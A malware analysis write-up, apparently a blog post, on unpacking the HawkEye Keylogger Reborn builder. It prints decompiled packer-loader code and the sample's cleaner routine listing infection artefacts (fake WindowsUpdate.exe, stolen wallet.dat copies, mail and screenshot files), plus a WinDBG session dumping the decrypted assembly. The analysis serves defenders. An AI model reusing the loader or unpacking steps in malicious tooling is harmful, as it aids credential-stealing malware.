I looked around but I couldn’t find any reference to MindZero .net code packer/obfuscator or anything close on the Internet. I tried a couple of tools in order to try to identify the packer/obfuscator used. Some wrongly indicated that Confuser was used.

The only methods exposed, as you can see bellow, were ZeroMind(), Zero(), Mind(), Decompress(), and a few others.

The method Zero() and ZeroMind() were quite interesting. One of the immediate things I noticed was the use of Reflection and LoadModule. More on this later.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// <Module>
[System.STAThread, System.STAThread]
private static int Zero(string[] array)
{
    uint[] array2 = new uint[]
    {
        3154793535u,
        2510551337u,
        1068474031u,
        3134659130u,
        1935703431u,
        3462704481u,
        729329793u,
(** LARGE ARRAY CUT **)
        1847557079u,
        2466235288u,
        4233368770u,
        1709265185u,
        3912996699u,
        1356851460u
    };
    System.Reflection.Assembly executingAssembly = System.Reflection.Assembly.GetExecutingAssembly();
    System.Reflection.Module manifestModule = executingAssembly.ManifestModule;
    System.Runtime.InteropServices.GCHandle gCHandle = <Module>.Mind(array2, 640387902u);
    byte[] array3 = (byte[])gCHandle.Target;
    System.Reflection.Module module = executingAssembly.LoadModule("MZ", array3);
    System.Array.Clear(array3, 0, array3.Length);
    gCHandle.Free();
    System.Array.Clear(array2, 0, array2.Length);
    <Module>.key = manifestModule.ResolveSignature(285212673);
    System.AppDomain.CurrentDomain.AssemblyResolve += new System.ResolveEventHandler(<Module>.ZeroMind);
    module.GetTypes();
    System.Reflection.MethodBase methodBase = module.ResolveMethod((int)<Module>.key[0] | (int)<Module>.key[1] << 8 | (int)<Module>.key[2] << 16 | (int)<Module>.key[3] << 24);
    object[] array4 = new object[methodBase.GetParameters().Length];
    if (array4.Length != 0)
    {
        array4[0] = array;
    }
    object obj = methodBase.Invoke(null, array4);
    if (obj is int)
    {
        return (int)obj;
    }
    return 0;
}

After reading quite a lot about .net binaries Reverse Engineering (see the ‘References’) I decided to use first a memory dumper and then go from there.

So I used ‘MegaDumper 1.0 by CodeCracker / SnD’. You can find it in some Reverse Engineering Forums. Basically I executed ‘HawkEye Keylogger - Reborn.exe’, fired ‘MegaDumper’, selected the process corresponding to ‘HawkEye’ (stuck on the ‘Net Seal’ login prompt) and selected the option to dump the loaded assembly.

The result was an interesting collection of executable and dll files.

I loaded almost every file in ILSpy and found some interesting things. The ‘Cure.exe’ was the vacine to ‘HawkEye’. Meaning if you infected a computer and you want to clean it you should run this file. Here’s the interesting code showing some of the IOCs already mentioned in some of the articles I mentioned before.

Bellow is the code with the most interesting methods for Blue Teams.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {
                this.seekanddestroy("vbc");
                Thread.Sleep(300);
                this.seekanddestroy("temp");
                Thread.Sleep(300);
                this.seekanddestroy("Pin");
                Thread.Sleep(300);
                this.seekanddestroy("Windows Update");
                Thread.Sleep(300);
                this.seekanddestroy("WindowsUpdate");
                Thread.Sleep(500);
                this.seekanddestroy("Microsoft");
            }
            catch (Exception expr_83)
            {
                ProjectData.SetProjectError(expr_83);
                ProjectData.ClearProjectError();
            }
            try
            {
                bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pid.txt");
                if (!flag)
                {
                    int processId = Conversions.ToInteger(File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pid.txt"));
                    Process.GetProcessById(processId).Kill();
                    Thread.Sleep(500);
                }
            }
            catch (Exception arg_EC_0)
            {
                ProjectData.SetProjectError(arg_EC_0);
                ProjectData.ClearProjectError();
            }
            try
            {
                bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pidloc.txt");
                if (!flag)
                {
                    string path = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pidloc.txt");
                    flag = File.Exists(path);
                    if (flag)
                    {
                        File.Delete(path);
                    }
                }
                flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pid.txt");
                if (flag)
                {
                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pid.txt");
                }
                flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pidloc.txt");
                if (flag)
                {
                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\pidloc.txt");
                }
            }
            catch (Exception expr_1B5)
            {
                ProjectData.SetProjectError(expr_1B5);
                ProjectData.ClearProjectError();
            }
            Thread thread = new Thread(new ThreadStart(this.builderclean));
            thread.SetApartmentState(ApartmentState.STA);
            thread.IsBackground = true;
            thread.Start();
            Thread thread2 = new Thread(new ThreadStart(this.serverclean));
            thread2.SetApartmentState(ApartmentState.STA);
            thread2.IsBackground = true;
            thread2.Start();
            checked
            {
                try
                {
                    DirectoryInfo directoryInfo = new DirectoryInfo("C:\\Users\\" + this.User + "\\AppData\\Roaming\\jagex_cache\\regPin");
                    FileInfo[] files = directoryInfo.GetFiles();
                    bool flag;
                    for (int i = 0; i < files.Length; i++)
                    {
                        FileInfo fileInfo = files[i];
                        flag = fileInfo.Extension.Equals(".jpeg");
                        if (flag)
                        {
                            fileInfo.Delete();
                        }
                    }
                    Thread.Sleep(1000);
                    flag = Directory.Exists("C:\\Users\\" + this.User + "\\AppData\\Roaming\\jagex_cache\\regPin");
                    if (flag)
                    {
                        Directory.Delete("C:\\Users\\" + this.User + "\\AppData\\Roaming\\jagex_cache\\regPin");
                    }
                    DirectoryInfo directoryInfo2 = new DirectoryInfo("C:\\Users\\" + this.User + "\\AppData\\Roaming\\jagex_cache\\reg");
                    FileInfo[] files2 = directoryInfo2.GetFiles();
                    for (int j = 0; j < files2.Length; j++)
                    {
                        FileInfo fileInfo2 = files2[j];
                        flag = fileInfo2.Extension.Equals(".jpeg");
                        if (flag)
                        {
                            fileInfo2.Delete();
                        }
                    }
                    Thread.Sleep(3000);
                    flag = Directory.Exists("C:\\Users\\" + this.User + "\\AppData\\Roaming\\jagex_cache\\reg");
                    if (flag)
                    {
                        Directory.Delete("C:\\Users\\" + this.User + "\\AppData\\Roaming\\jagex_cache\\reg");
                    }
                    DirectoryInfo directoryInfo3 = new DirectoryInfo(Path.GetTempPath() + "screens");
                    FileInfo[] files3 = directoryInfo3.GetFiles();
                    for (int k = 0; k < files3.Length; k++)
                    {
                        FileInfo fileInfo3 = files3[k];
                        flag = fileInfo3.Extension.Equals(".jpeg");
                        if (flag)
                        {
                            fileInfo3.Delete();
                        }
                    }
                    Thread.Sleep(3000);
                    flag = Directory.Exists(Path.GetTempPath() + "screens");
                    if (flag)
                    {
                        Directory.Delete(Path.GetTempPath() + "screens");
                    }
                }
                catch (Exception expr_40F)
                {
                    ProjectData.SetProjectError(expr_40F);
                    ProjectData.ClearProjectError();
                }
                this.SelfDestruct();
            }
        }

        public void builderclean()
        {
            try
            {
                bool flag = File.Exists(this.Tempclean + "temp.exe");
                if (flag)
                {
                    File.Delete(this.Tempclean + "temp.exe");
                }
                flag = File.Exists(Application.StartupPath + "\\assemblychange.exe");
                if (flag)
                {
                    File.Delete(Application.StartupPath + "\\assemblychange.exe");
                }
                Thread.Sleep(1000);
                flag = File.Exists(Application.StartupPath + "\\assemblychange.res");
                if (flag)
                {
                    File.Delete(Application.StartupPath + "\\assemblychange.res");
                }
                flag = File.Exists(Application.StartupPath + "\\ResHacker.exe");
                if (flag)
                {
                    File.Delete(Application.StartupPath + "\\ResHacker.exe");
                }
                Thread.Sleep(1000);
                flag = File.Exists(Application.StartupPath + "\\ResHacker.ini");
                if (flag)
                {
                    File.Delete(Application.StartupPath + "\\ResHacker.ini");
                }
                flag = File.Exists(Application.StartupPath + "\\ResHacker.log");
                if (flag)
                {
                    File.Delete(Application.StartupPath + "\\ResHacker.log");
                }
            }
            catch (Exception expr_12A)
            {
                ProjectData.SetProjectError(expr_12A);
                ProjectData.ClearProjectError();
            }
        }

        public void serverclean()
        {
            try
            {
                bool flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\WindowsUpdate.exe");
                if (flag)
                {
                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\WindowsUpdate.exe");
                }
                flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WindowsUpdate.exe");
                if (flag)
                {
                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WindowsUpdate.exe");
                }
                flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Windows Update.exe");
                if (flag)
                {
                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Windows Update.exe");
                }
                flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Pin.exe");
                if (flag)
                {
                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Pin.exe");
                }
                Thread.Sleep(1000);
                flag = File.Exists(Path.GetTempPath() + "SysInfo.txt");
                if (flag)
                {
                    File.Delete(Path.GetTempPath() + "SysInfo.txt");
                }
                flag = File.Exists(this.Tempclean + "wallet.dat");
                if (flag)
                {
                    File.Delete(this.Tempclean + "wallet.dat");
                }
                flag = File.Exists(this.Tempclean + MyProject.Computer.Name + "_wallet.dat");
                if (flag)
                {
                    File.Delete(this.Tempclean + MyProject.Computer.Name + "_wallet.dat");
                }
                flag = File.Exists(this.Tempclean + "firstfile.exe");
                if (flag)
                {
                    File.Delete(this.Tempclean + "firstfile.exe");
                }
                Thread.Sleep(1000);
                flag = File.Exists(this.Tempclean + "firstfile.txt");
                if (flag)
                {
                    File.Delete(this.Tempclean + "firstfile.txt");
                }
                flag = File.Exists(this.Tempclean + "secondfile.exe");
                if (flag)
                {
                    File.Delete(this.Tempclean + "secondfile.exe");
                }
                flag = File.Exists(this.Tempclean + "secondfile.txt");
                if (flag)
                {
                    File.Delete(this.Tempclean + "secondfile.txt");
                }
                Thread.Sleep(1000);
                flag = File.Exists(Path.GetTempPath() + "CLog.txt");
                if (flag)
                {
                    File.Delete(Path.GetTempPath() + "CLog.txt");
                }
                flag = File.Exists(this.Tempclean + "holdermail.txt");
                if (flag)
                {
                    File.Delete(this.Tempclean + "holdermail.txt");
                }
                flag = File.Exists(this.Tempclean + "holderwb.txt");
                if (flag)
                {
                    File.Delete(this.Tempclean + "holderwb.txt");
                }
            }
            catch (Exception expr_2CD)
            {
                ProjectData.SetProjectError(expr_2CD);
                ProjectData.ClearProjectError();
            }
        }

Other interesting file was ‘License.dll’. I loaded it in ILSpy and got the following message:

So it seems ‘SmartAssembly 6.9.0.114 obfuscator’ was used, at least in some PE files that are part of the whole package. However, even after cleaning it I couldn’t make much sense of the code… The amount of goto’s indicates that the file is still obfuscated, so or either SmartAssembly was incorrectly detected or the deobfuscator didn’t work. I didn’t spend much time with this though.

One of the dumped ‘HawkEye Keylogger - Reborn.exe’ files was smaller than the original, however after loading it in ILSpy I could see it was still packed and all his functionality appeared the same. By running it I was again stuck in the ‘Net Seal’ login prompt.

It is interesting to notice that if this file was using some evasion techniques it would have exited long before we have finished. So this behaviour led me to conclude that if this ‘HawkEye’ version was using evasion techniques they were most likely not implemented correctly.

WinDBG to the rescue

In order to debug .net assemblies the best option is WinDBG with SOS and SOSEX together. However there is no IL code steping and it might be a bit hard to get into it. The IL opcodes are a bit scary, at least at first. Besides reversing .net malware is not well documented on the internet.

Before you start make sure you load Microsoft debugging symbols. Set your symbol path to Microsoft symbol server or just download the symbols locally. I usually have the symbols installed locally for obvious reasons, but it is completely up to you. I’m not going to show how to do it since this is widely documented. However this step is not optional.

The SOS extension is part of the .net framework and the SOSEX extension can be downloaded from here. You can install it anywhere you want, after firing WinDBG you need to load it the following way:

1
.load "F:\\sosex_32\\sosex.dll"

I’ll skip the steps to load and use SOS because you can do everything with SOSEX. However in a initial phase it was quite useful to get a better insight of this .net assembly.

As I mentioned before, one of the things I noticed when I first looked at the .net assembly in ILSpy was the use of Reflection and LoadModule. This method loads a Byte Array, hopefully deofuscated I thought. So with the help of SOSEX is quite easy to set a breakpoint on any method matching a pattern. So I decided to set a breakpoint on any method matching the pattern Assembly.Load:

1
!mbm *Assembly.Load*

When we run the binary CLR is initialized and WinDBG places breakpoints on all methods matching the pattern above. After the first breakpoint is hit you can see a complete list of breakpoints with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:000> bl
 0 e 71f37591     0001 (0001)  0:**** mscorlib_ni+0x327591
 1 e 71f0cb45     0001 (0001)  0:**** mscorlib_ni+0x2fcb45
 3 e 72647e69     0001 (0001)  0:**** mscorlib_ni+0xa37e69
 4 e 72647e95     0001 (0001)  0:**** mscorlib_ni+0xa37e95
 5 e 71f357d1     0001 (0001)  0:**** mscorlib_ni+0x3257d1
 6 e 72647f0d     0001 (0001)  0:**** mscorlib_ni+0xa37f0d
 7 e 71fa6009     0001 (0001)  0:**** mscorlib_ni+0x396009
 8 e 71f0cb6d     0001 (0001)  0:**** mscorlib_ni+0x2fcb6d
 9 e 72647f31     0001 (0001)  0:**** mscorlib_ni+0xa37f31
10 e 72647f70     0001 (0001)  0:**** mscorlib_ni+0xa37f70
11 e 72647fac     0001 (0001)  0:**** mscorlib_ni+0xa37fac
12 e 7264800f     0001 (0001)  0:**** mscorlib_ni+0xa3800f
13 e 72648047     0001 (0001)  0:**** mscorlib_ni+0xa38047
14 e 726480a5     0001 (0001)  0:**** mscorlib_ni+0xa380a5
15 e 72648122     0001 (0001)  0:**** mscorlib_ni+0xa38122
16 e 72648175     0001 (0001)  0:**** mscorlib_ni+0xa38175
17 e 726485a9     0001 (0001)  0:**** mscorlib_ni+0xa385a9
18 e 726485c1     0001 (0001)  0:**** mscorlib_ni+0xa385c1
19 e 72648b1c     0001 (0001)  0:**** mscorlib_ni+0xa38b1c
20 e 72648bda     0001 (0001)  0:**** mscorlib_ni+0xa38bda
21 e 71f5f9c7     0001 (0001)  0:**** mscorlib_ni+0x34f9c7
23 e 72648de1     0001 (0001)  0:**** mscorlib_ni+0xa38de1

After some hits and some exceptions we land exactly where we want.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> g
ModLoad: 70ec0000 70ed3000   C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
Breakpoint 11 hit
eax=00000000 ebx=021d447c ecx=0fbc1030 edx=003e0400 esi=0fbc1030 edi=021c3f8c
eip=72647fac esp=0034ee2c ebp=0034ee34 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mscorlib_ni+0xa37fac:
72647fac e883c5fdff      call    mscorlib_ni+0xa14534 (72624534)
0:000> dd ecx
0fbc1030  72052518 003e0400 00905a4d 00000003
0fbc1040  00000004 0000ffff 000000b8 00000000
0fbc1050  00000040 00000000 00000000 00000000
0fbc1060  00000000 00000000 00000000 00000000
0fbc1070  00000000 00000080 0eba1f0e cd09b400
0fbc1080  4c01b821 685421cd 70207369 72676f72
0fbc1090  63206d61 6f6e6e61 65622074 6e757220
0fbc10a0  206e6920 20534f44 65646f6d 0a0d0d2e

If we check ECX register we should have our Byte Array ready to be dumped. The second DWORD (003e0400) corresponds to size of the Byte Array and the third DWORD (00905a4d) corresponds to the .net assembly. To dump this assembly we can use the ‘writemem’ command as follows:

1
.writemem F:\sample.decrypted.exe 00905a4d L? 003e0400

But there’s an easier and 1337 way by using the poi() function. Pointer of integer function is used to get pointer-sized data. Think about the * operator for C and C++. By using poi() we just provide ecx+4 as its parameter and it will automatically take the value at that address and use it, rather than just using the value of ecx+4:

1
.writemem F:\sample.decrypted.exe @ecx+8 L?poi(@ecx+4)

I loaded the assembly in ILSpy and Bingo.

I now have access to the whole code. Under ‘Keylogger’ we can find the code for the ‘Builder’ of the samples that have been collected on the wild. As we can see, by looking only at the methods, the ‘Builder’ has loads of ‘cool’ stuff. ‘NewsFeed’, ‘Tutorial’, ‘BugReport’, ‘Bazaar’… it almost looks like a legit software.

After running the new binary I’m still stuck at the ‘Net Seal’ prompt login though. But now I have access to the code!

In case you missed something here’s the full WinDBG session.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
CommandLine: "C:\Users\rui\Desktop\HawkEyeKeyloggerReborn\HawkEye Keylogger - Reborn\HawkEye Keylogger - Reborn.exe"

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       srv*

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*F:\symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*F:\symbols*http://msdl.microsoft.com/download/symbols
Executable search path is: srv*
ModLoad: 00a40000 00b72000   image00a40000
ModLoad: 77240000 773c0000   ntdll.dll
ModLoad: 735b0000 735fa000   C:\Windows\SysWOW64\MSCOREE.DLL
ModLoad: 75240000 75350000   C:\Windows\syswow64\KERNEL32.dll
ModLoad: 76d20000 76d67000   C:\Windows\syswow64\KERNELBASE.dll
(9a8.c94): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=08960000 edx=0017dda8 esi=fffffffe edi=00000000
eip=772e103b esp=0034f8c8 ebp=0034f8f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
772e103b cc              int     3
0:000> .load "F:\\sosex_32\\sosex.dll"
0:000> !mbm *Assembly.Load*
The CLR has not yet been initialized in the process.
Breakpoint resolution will be attempted when the CLR is initialized.
0:000> g
ModLoad: 76b70000 76c10000   C:\Windows\syswow64\ADVAPI32.dll
ModLoad: 764d0000 7657c000   C:\Windows\syswow64\msvcrt.dll
ModLoad: 767f0000 76809000   C:\Windows\SysWOW64\sechost.dll
ModLoad: 76820000 76910000   C:\Windows\syswow64\RPCRT4.dll
ModLoad: 74bd0000 74c30000   C:\Windows\syswow64\SspiCli.dll
ModLoad: 74bc0000 74bcc000   C:\Windows\syswow64\CRYPTBASE.dll
ModLoad: 73530000 735a9000   C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
ModLoad: 761e0000 76237000   C:\Windows\syswow64\SHLWAPI.dll
ModLoad: 76ad0000 76b60000   C:\Windows\syswow64\GDI32.dll
ModLoad: 76940000 76a40000   C:\Windows\syswow64\USER32.dll
ModLoad: 767d0000 767da000   C:\Windows\syswow64\LPK.dll
ModLoad: 76580000 7661d000   C:\Windows\syswow64\USP10.dll
ModLoad: 76a70000 76ad0000   C:\Windows\SysWOW64\IMM32.DLL
ModLoad: 76d70000 76e3c000   C:\Windows\syswow64\MSCTF.dll
ModLoad: 73520000 73529000   C:\Windows\SysWOW64\VERSION.dll
ModLoad: 72e60000 73511000   C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
ModLoad: 72d60000 72e55000   C:\Windows\SysWOW64\MSVCR120_CLR0400.dll
(9a8.c94): Unknown exception - code 04242420 (first chance)
ModLoad: 71c10000 72d5a000   C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\225759bb87c854c0fff27b1d84858c21\mscorlib.ni.dll
Breakpoint set at System.Reflection.Assembly.LoadFrom(System.String) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadFrom(System.String, System.Security.Policy.Evidence) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadFrom(System.String, System.Security.Policy.Evidence, Byte[], System.Configuration.Assemblies.AssemblyHashAlgorithm) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadFrom(System.String, Byte[], System.Configuration.Assemblies.AssemblyHashAlgorithm) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(System.String) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(System.String, System.Security.Policy.Evidence) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(System.Reflection.AssemblyName) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(System.Reflection.AssemblyName, System.Security.Policy.Evidence) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadWithPartialName(System.String) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadWithPartialName(System.String, System.Security.Policy.Evidence) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(Byte[]) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(Byte[], Byte[]) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(Byte[], Byte[], System.Security.SecurityContextSource) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.Load(Byte[], Byte[], System.Security.Policy.Evidence) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadFile(System.String) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadFile(System.String, System.Security.Policy.Evidence) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadModule(System.String, Byte[]) in AppDomain 00368190.
Breakpoint set at System.Reflection.Assembly.LoadModule(System.String, Byte[], Byte[]) in AppDomain 00368190.
Breakpoint set at System.Reflection.RuntimeAssembly.LoadWithPartialNameHack(System.String, Boolean) in AppDomain 00368190.
Breakpoint set at System.Reflection.RuntimeAssembly.LoadWithPartialNameInternal(System.String, System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef) in AppDomain 00368190.
Breakpoint set at System.Reflection.RuntimeAssembly.LoadWithPartialNameInternal(System.Reflection.AssemblyName, System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef) in AppDomain 00368190.
Breakpoint set at System.Reflection.RuntimeAssembly.LoadModule(System.String, Byte[], Byte[]) in AppDomain 00368190.
ModLoad: 74f60000 750bc000   C:\Windows\syswow64\ole32.dll
ModLoad: 70490000 70510000   C:\Windows\SysWOW64\uxtheme.dll
ModLoad: 71b30000 71bae000   C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
ModLoad: 76010000 7609f000   C:\Windows\syswow64\OLEAUT32.dll
*** WARNING: Unable to verify checksum for C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\225759bb87c854c0fff27b1d84858c21\mscorlib.ni.dll
Breakpoint 23 hit
eax=ffffff00 ebx=00000000 ecx=00368190 edx=0034f280 esi=021a3084 edi=021a23d0
eip=72648de1 esp=0034f27c ebp=0034f290 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
mscorlib_ni+0xa38de1:
72648de1 33d2            xor     edx,edx
0:000> bl
 0 e 71f37591     0001 (0001)  0:**** mscorlib_ni+0x327591
 1 e 71f0cb45     0001 (0001)  0:**** mscorlib_ni+0x2fcb45
 3 e 72647e69     0001 (0001)  0:**** mscorlib_ni+0xa37e69
 4 e 72647e95     0001 (0001)  0:**** mscorlib_ni+0xa37e95
 5 e 71f357d1     0001 (0001)  0:**** mscorlib_ni+0x3257d1
 6 e 72647f0d     0001 (0001)  0:**** mscorlib_ni+0xa37f0d
 7 e 71fa6009     0001 (0001)  0:**** mscorlib_ni+0x396009
 8 e 71f0cb6d     0001 (0001)  0:**** mscorlib_ni+0x2fcb6d
 9 e 72647f31     0001 (0001)  0:**** mscorlib_ni+0xa37f31
10 e 72647f70     0001 (0001)  0:**** mscorlib_ni+0xa37f70
11 e 72647fac     0001 (0001)  0:**** mscorlib_ni+0xa37fac
12 e 7264800f     0001 (0001)  0:**** mscorlib_ni+0xa3800f
13 e 72648047     0001 (0001)  0:**** mscorlib_ni+0xa38047
14 e 726480a5     0001 (0001)  0:**** mscorlib_ni+0xa380a5
15 e 72648122     0001 (0001)  0:**** mscorlib_ni+0xa38122
16 e 72648175     0001 (0001)  0:**** mscorlib_ni+0xa38175
17 e 726485a9     0001 (0001)  0:**** mscorlib_ni+0xa385a9
18 e 726485c1     0001 (0001)  0:**** mscorlib_ni+0xa385c1
19 e 72648b1c     0001 (0001)  0:**** mscorlib_ni+0xa38b1c
20 e 72648bda     0001 (0001)  0:**** mscorlib_ni+0xa38bda
21 e 71f5f9c7     0001 (0001)  0:**** mscorlib_ni+0x34f9c7
23 e 72648de1     0001 (0001)  0:**** mscorlib_ni+0xa38de1
0:000> dd ecx
00368190  72e63014 00000001 00368190 001f3f7c
003681a0  00000010 00000000 00000000 00369150
003681b0  00000000 00000000 00000000 baadf000
003681c0  00368fa0 ffffffff 00000000 00000000
003681d0  00000000 00000000 c0000020 00000001
003681e0  00000001 00000000 00368e88 ffffffff
003681f0  00000000 00000000 00000000 00000000
00368200  c0000000 00368ec0 ffffffff 00000000
0:000> g
ModLoad: 711a0000 71b27000   C:\Windows\assembly\NativeImages_v4.0.30319_32\System\52cca48930e580e3189eac47158c20be\System.ni.dll
(9a8.c94): CLR exception - code e0434352 (first chance)
Breakpoint 11 hit
eax=00000000 ebx=0034e5b0 ecx=021b9924 edx=00000025 esi=021b9924 edi=021b1a7c
eip=72647fac esp=0034e4a4 ebp=0034e4ac iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mscorlib_ni+0xa37fac:
72647fac e883c5fdff      call    mscorlib_ni+0xa14534 (72624534)
0:000> dd ecx
021b9924  72052518 00000800 00905a4d 00000003
021b9934  00000004 0000ffff 000000b8 00000000
021b9944  00000040 00000000 00000000 00000000
021b9954  00000000 00000000 00000000 00000000
021b9964  00000000 00000080 0eba1f0e cd09b400
021b9974  4c01b821 685421cd 70207369 72676f72
021b9984  63206d61 6f6e6e61 65622074 6e757220
021b9994  206e6920 20534f44 65646f6d 0a0d0d2e
0:000> g
(9a8.c94): CLR exception - code e0434352 (first chance)
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=121a0000 edx=00000005 esi=15cb899f edi=121a0000
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:121a000c=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=0b06799c edx=00000005 esi=15cb899f edi=0b06799c
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:0b0679a8=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=00004e20 edx=00000005 esi=15cb899f edi=00004e20
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:00004e2c=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=00001000 edx=00000005 esi=15cb899f edi=00001000
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:0000100c=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
